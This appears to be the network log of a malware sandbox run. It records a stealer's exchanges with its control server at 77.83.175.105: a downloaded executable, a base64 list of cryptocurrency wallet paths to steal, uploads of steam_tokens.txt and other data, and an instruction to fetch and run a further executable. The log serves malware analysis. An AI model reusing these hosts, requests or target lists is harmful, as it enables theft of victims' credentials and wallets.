Oct 29, 2024 04:17:23.821496010 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 29, 2024 04:17:24.803388119 CET	201	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG Host: 77.83.175.105 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:17:25.101500988 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:17:25.151000023 CET	467	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJ Host: 77.83.175.105 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="message"wallets------DGHDHIDGHIDGIECBKKJJ--
Oct 29, 2024 04:17:25.390079975 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 29, 2024 04:17:25.393141985 CET	465	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEB Host: 77.83.175.105 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 2d 2d 0d 0a Data Ascii: ------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="message"files------DBAAFIDGDAAAAAAAAKEB--
Oct 29, 2024 04:17:25.631486893 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:17:25.649488926 CET	563	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECG Host: 77.83.175.105 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="file"------IECFIEGDBKJKFIDHIECG--
Oct 29, 2024 04:17:25.889614105 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:17:25.970733881 CET	203	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCG Host: 77.83.175.105 Content-Length: 130315 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:17:26.643935919 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:17:26.683881998 CET	472	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJE Host: 77.83.175.105 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="message"ybncbhylepme------JJDGCGHCGHCBFHJJKKJE--
Oct 29, 2024 04:17:26.922975063 CET	298	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 72 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 6a 59 57 31 77 64 58 4e 77 5a 58 4a 7a 5a 58 5a 6c 63 69 35 6c 63 79 39 6a 61 48 4a 76 62 57 56 66 4f 54 4d 75 5a 58 68 6c 66 44 46 38 4d 48 78 54 64 47 46 79 64 48 77 77 66 41 3d 3d Data Ascii: aHR0cHM6Ly9jYW1wdXNwZXJzZXZlci5lcy9jaHJvbWVfOTMuZXhlfDF8MHxTdGFydHwwfA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49762	77.83.175.105	80	7484	C:\Users\user\Desktop\X9d3758tok.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 04:17:37.196083069 CET	472	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJ Host: 77.83.175.105 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHJDGHIJDGCBAAAAAFIJ--
Oct 29, 2024 04:17:39.773147106 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	142.250.186.100	443	7844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:06 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:17:06 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:06 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-o1UzhiXepwPALCwRlote8w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 03:17:06 UTC	112	IN	Data Raw: 33 31 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 6e 69 6d 61 6c 20 63 72 6f 73 73 69 6e 67 20 70 6f 63 6b 65 74 20 63 61 6d 70 20 63 6f 6d 70 6c 65 74 65 22 2c 22 6e 65 74 66 6c 69 78 20 6d 6f 76 69 65 73 22 2c 22 73 70 6f 72 74 73 20 65 71 75 69 6e 6f 78 22 2c 22 74 61 72 67 65 74 20 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 6d 65 61 Data Ascii: 310)]}'["",["animal crossing pocket camp complete","netflix movies","sports equinox","target thanksgiving mea
2024-10-29 03:17:06 UTC	679	IN	Data Raw: 6c 20 64 65 61 6c 22 2c 22 68 75 72 72 69 63 61 6e 65 73 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 73 22 2c 22 74 68 65 20 64 69 70 6c 6f 6d 61 74 20 65 70 69 73 6f 64 65 73 22 2c 22 64 6f 64 67 65 72 73 20 79 61 6e 6b 65 65 73 20 77 6f 72 6c 64 20 73 65 72 69 65 73 20 67 61 6d 65 20 33 22 2c 22 73 74 61 6e 6c 65 79 20 65 6c 66 20 6c 69 70 20 6f 69 6c 20 68 6f 6c 64 65 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 Data Ascii: l deal","hurricanes tropical storms","the diplomat episodes","dodgers yankees world series game 3","stanley elf lip oil holder"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vhc
2024-10-29 03:17:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.186.100	443	7844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:06 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 03:17:06 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 03:17:06 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 03:17:06 UTC	336	IN	Data Raw: 32 31 64 37 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 21d7)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-29 03:17:06 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-29 03:17:06 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" 